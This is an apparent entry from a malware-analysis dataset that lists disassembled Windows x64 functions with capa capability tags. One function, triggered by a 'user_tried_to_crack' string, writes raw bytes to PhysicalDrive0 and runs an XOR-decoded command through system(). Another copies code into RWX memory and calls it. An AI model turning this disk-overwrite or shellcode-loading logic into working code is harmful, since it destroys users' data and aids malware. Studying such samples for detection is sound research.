joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140074940
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push rbx
sub rsp, 0x20
call fcn.14004c680
test rax, rax
je 0x14007495e
call fcn.14004cae0
mov rbx, qword [rax + 0x88]
jmp 0x140074960
xor ebx, ebx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rbx + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x14007498b
mov dword [rbx + 0x2c], eax
add rsp, 0x20
pop rbx
ret

Function at 0x140075570
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1404fb090]
mov rcx, qword [rax + 0x4bd8]
mov r10, qword [rax + 0x3f08]
movsxd rax, dword [rcx + 0x74]
movups xmm0, xmmword [rcx + 0x168]
movss xmm4, dword [rcx + 0x168]
movss xmm3, dword [rcx + 0x16c]
movss xmm2, dword [rcx + 0x170]
movss xmm1, dword [rcx + 0x174]
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
imul r9, rax, 0x70
mov rax, qword [r10 + 0x298]
add r9, qword [rcx + 0x18]
movups xmmword [r10 + 0x238], xmm0
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x298]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [r9 + 0x5c]
mov rdx, qword [r10 + 0x298]
mov rcx, qword [rcx + 0x198]
add rsp, 0x38
jmp 0x14006a3d0

Function at 0x140075640
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1404fb090]
mov rcx, qword [rax + 0x4bd8]
mov r9, qword [rax + 0x3f08]
movups xmm0, xmmword [r9 + 0x238]
movups xmmword [rcx + 0x168], xmm0
mov rax, qword [r9 + 0x298]
movups xmm0, xmmword [rcx + 0x148]
movss xmm4, dword [rcx + 0x148]
movss xmm3, dword [rcx + 0x14c]
movss xmm2, dword [rcx + 0x150]
movss xmm1, dword [rcx + 0x154]
movups xmmword [r9 + 0x238], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x298]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [rcx + 0x226]
mov rcx, qword [rcx + 0x198]
mov rdx, qword [r9 + 0x298]
add rsp, 0x38
jmp 0x14006a3d0
Function at 0x14008a2e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 0x1384], 0xffffffff
lea r9, [rcx + 8]
mov dword [rcx + 4], edx
mov r8d, 1
nop word [rax + rax]
mov eax, edx
lea r9, [r9 + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9 - 4], edx
cmp r8, 0x270
jb 0x14008a300
mov dword [rcx], 0x270
mov rax, rcx
ret

Function at 0x14008b670
Capabilities:
Encode data using xor
Execute command
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
lea rdx, str.user_tried_to_crack
xorps xmm0, xmm0
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x58], rbx
movups xmmword [rsp + 0x40], xmm0
lea r8d, [rbx + 0x13]
call fcn.14007aa80
lea rdx, [rsp + 0x40]
lea rcx, [0x1404fb550]
call fcn.1401bb3b0
call fcn.1400a0940
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 3]
mov dword [rsp + 0x28], ebx
lea rcx, str..PhysicalDrive0
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x70]
mov word [rsp + 0x68], 0x15e8
mov rcx, rax
mov byte [rsp + 0x6a], bl
lea r8d, [rbx + 3]
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x68]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x14021e8f0]
movdqa xmm1, xmmword [0x14021e900]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x100fbfa
movdqu xmmword [rsp + 0x50], xmm1
nop dword [rax]
lea eax, [rbx - 0x6a]
xor byte [rsp + rbx + 0x40], al
inc rbx
cmp rbx, 0x22
jb 0x14008b750
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x63], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14020f960
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret
Function at 0x14008c990
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, qword [0x1404fb090]
mov ecx, 2
mov rdi, qword [rbx + 0x3f08]
call fcn.140055090
mov byte [rbx + 0x3e6e], 1
cmp word [rdi + 0xc2], 1
jle 0x14008c9dc
call fcn.14004a190
jmp 0x14008cba7
movzx eax, byte [rdi + 0xd2]
movss xmm0, dword [0x140217f30]
mov qword [rsp + 0x80], rsi
movaps xmmword [rsp + 0x60], xmm6
movss xmm6, dword [rdi + 0x2c]
movaps xmmword [rsp + 0x50], xmm7
movss xmm7, dword [rdi + 0x28]
test al, 1
je 0x14008ca13
comiss xmm0, xmm7
jb 0x14008ca13
movaps xmm7, xmm0
test al, 2
je 0x14008ca1f
comiss xmm0, xmm6
jb 0x14008ca1f
movaps xmm6, xmm0
call fcn.14004a190
mov rsi, qword [rbx + 0x3f08]
lea rcx, [rsp + 0x20]
movaps xmm1, xmm6
movss xmm0, dword [rsi + 0x100]
addss xmm1, dword [rsi + 0x104]
movaps xmm2, xmm0
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [rsi + 0x104]
addss xmm2, xmm7
movss dword [rsp + 0x34], xmm0
xorps xmm0, xmm0
subss xmm7, xmm0
subss xmm6, xmm0
movss dword [rsp + 0x3c], xmm1
movss xmm1, dword [0x140217f88]
movss dword [rsp + 0x38], xmm2
movss dword [rsp + 0x20], xmm7
movss dword [rsp + 0x24], xmm6
call fcn.14004f510
cmp word [rdi + 0x15c], 0
movaps xmm7, xmmword [rsp + 0x50]
movaps xmm6, xmmword [rsp + 0x60]
jne 0x14008caaf
cmp byte [rdi + 0x162], 0
je 0x14008cb63
test dword [rdi + 0x14], 0x800000
jne 0x14008cb63
mov edx, dword [rdi + 0x80]
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
call fcn.14004f140
mov edx, dword [rdi + 0x80]
lea rcx, [rsp + 0x30]
mov r8d, 1
call fcn.140056880
cmp word [rdi + 0x15c], 0
jne 0x14008cb8c
cmp rdi, qword [rbx + 0x4908]
jne 0x14008cb8c
movss xmm2, dword [0x140217f20]
lea rcx, [rsp + 0x20]
movss xmm4, dword [rsp + 0x38]
mov r8d, 2
movss xmm3, dword [rsp + 0x3c]
addss xmm4, xmm2
movss xmm1, dword [rsp + 0x30]
addss xmm3, xmm2
movss xmm0, dword [rsp + 0x34]
subss xmm1, xmm2
mov edx, dword [rbx + 0x4910]
subss xmm0, xmm2
movss dword [rsp + 0x28], xmm4
movss dword [rsp + 0x2c], xmm3
movss dword [rsp + 0x20], xmm1
movss dword [rsp + 0x24], xmm0
call fcn.140056880
jmp 0x14008cb8c
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
call fcn.14004f140
test dword [rdi + 0x14], 0x800000
je 0x14008cb8c
movzx eax, word [rdi + 0x15e]
or word [rsi + 0x15e], ax
mov rsi, qword [rsp + 0x80]
cmp qword [rbx + 0x3f10], rdi
jne 0x14008cba7
or dword [rbx + 0x47b8], 0x80
mov byte [rbx + 0x3e6e], 0
mov dword [rbx + 0x5dd0], 0xff7fffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14020f960
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140091970
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140091a43
cmp byte [rcx + 0x71], 0
je 0x140091a43
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x140091a3f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140091a04
sub eax, 1
je 0x140091a08
cmp eax, 2
jne 0x140091a3f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14020f960
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140091a36
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140091a3f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400919ec
xor al, al
jmp 0x1400919ec
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14020f960
add rsp, 0x60
pop rbx
ret
Function at 0x140091a60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, qword [rcx]
mov r10d, 0x270
mov ecx, dword [r9]
cmp ecx, r10d
jne 0x140091ac1
lea r8, [r9 + 8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140091a80
mov ecx, dword [r9]
jmp 0x140091bab
cmp ecx, 0x4e0
jb 0x140091bab
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140091ae0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140091b30
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14009e840
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x160
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
lea r14, [rsp + 0x168]
mov rsi, qword [r14]
mov rdi, rcx
mov qword [r14], 0
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14009e8d3
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x14009e90b
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14009e8b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov qword [r14], rsi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14020f960
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov dword [0x1404fb3c8], eax
jmp 0x14009e8de
Function at 0x1400a98e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, edx
mov rdi, rcx
cmp edx, 0xffffffff
jne 0x1400a990d
xor eax, eax
jmp 0x1400a9a76
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x1400a994d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, rbx
jae 0x1400a994d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], sil
mov eax, esi
jmp 0x1400a9a6e
cmp qword [rdi + 0x80], 0
je 0x1400a9a69
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rdi + 0x70]
cmp rax, rcx
jne 0x1400a9987
mov rdx, qword [rdi + 0x88]
mov rcx, rdi
mov r9, qword [rdi + 0x90]
mov r8, rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x1400a99b2
mov rdx, qword [rdi + 0x80]
movsx ecx, sil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x1400a9a6e
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], sil
mov qword [rsp + 0x38], rax
lea rdx, [rdi + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400a9a21
sub eax, 1
je 0x1400a9a21
cmp eax, 2
jne 0x1400a9a69
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rdi + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x1400a9a6e
mov rbx, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbx, rax
je 0x1400a9a4f
mov r9, qword [rdi + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x1400a9a69
lea rax, [rsp + 0x50]
mov byte [rdi + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, esi
mov eax, ecx
jmp 0x1400a9a6e
mov eax, 0xffffffff
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14020f960
mov rsi, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400aaba0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rsi, r8
mov r14, rdx
mov rbp, rcx
test r8, r8
jg 0x1400aabc2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x1400aabd1
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x28], rbx
mov rbx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
test rax, rax
je 0x1400aac22
cmp rax, rsi
mov rdi, rsi
mov rcx, rbp
cmovb rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, rdi
mov rcx, r14
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, edi
mov rcx, rbp
add r14, rdi
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rbp + 0x80], 0
mov rdi, rbx
je 0x1400aac91
mov rcx, rbp
call int.140091c10
cmp rbx, 0xfff
jbe 0x1400aac71
mov r9, qword [rbp + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x1400aacaa
cmp rbx, rax
ja 0x1400aac40
test rdi, rdi
je 0x1400aac91
mov r9, qword [rbp + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rsi, rdi
mov rbx, qword [rsp + 0x28]
mov rax, rsi
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rsi, rbx
jmp 0x1400aac94
and al, 0x83
push 0x52
retf 0xc526
Function at 0x1400aacb0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x1400aacd1
add rsp, 0x20
pop r14
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov rbp, rax
test rbx, rbx
jle 0x1400aad4c
test rax, rax
jle 0x1400aad2c
cmp rbx, rax
mov rcx, rdi
cmovl rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, rbp
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebp
mov rcx, rdi
add r14, rbp
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
test rbx, rbx
jle 0x1400aad4c
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400aad4c
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x40]
sub rsi, rbx
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rbx
ret
invalid
Function at 0x1400da970
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x380
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov edi, 0x104
mov rbx, rdx
mov dword [rsp + 0x40], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x40]
xor edx, edx
mov rcx, rax
lea r8, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
and qword [rsp + 0x38], 0
lea rax, [rsp + 0x50]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x160]
mov dword [rsp + 0x28], edi
or r9d, 0xffffffff
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400daa4d
and qword [rsp + 0x28], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
xor edx, edx
mov rcx, rdi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test rax, rax
jne 0x1400daa7a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx], 0
and qword [rbx + 8], 0
mov rax, rbx
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.14020f960
mov rbx, qword [rsp + 0x390]
add rsp, 0x380
pop rdi
ret
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbx + 8], rax
mov qword [rbx], rdi
jmp 0x1400daa56
Function at 0x1401035b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x78
and qword [rbp + 0x48], 0
and dword [rbp + 0x38], 0
and qword [rbp + 0x50], 0
lea rax, [0x140103588]
mov qword [rbp - 0x38], rax
and dword [rbp + 0x40], 0
and qword [rbp - 0x30], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x28], xmm0
lea r14, [rbp + 0x30]
movabs r12, 0xff00ff00ff00ff07
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r14
mov rbx, qword [r14]
xor rbx, r12
mov qword [rbp - 0x28], rbx
and qword [r14], rax
xor ecx, ecx
lea r15, [0x1400c984c]
lea rsi, [0x140000000]
mov rax, qword [0x1404fbad0]
test rax, rax
je 0x140103658
xor r10d, r10d
cmp rax, r15
je 0x140103647
inc ecx
mov r10d, ecx
mov rax, qword [rsi + rcx*8 + 0x4fbad0]
test rax, rax
jne 0x14010362e
jmp 0x140103658
mov r10, qword [rsi + r10*8 + 0x4fbdf0]
test r10, r10
jne 0x140103731
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
je 0x140103710
mov rax, r15
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14010368a
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1404fbac0]
mov qword [rsi + rax*8 + 0x4fbad0], r15
mov qword [rsi + rax*8 + 0x4fbdf0], r10
inc rax
mov qword [0x1404fbac0], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x38]
lea r8, [rbp + 0x40]
lea rdx, [rbp - 0x30]
lea rcx, [0x140103778]
call r10
nop
xor rbx, r12
mov qword [r14], rbx
add rsp, 0x78
pop r15
pop r14
pop r12
pop rsi
pop rbx
pop rbp
ret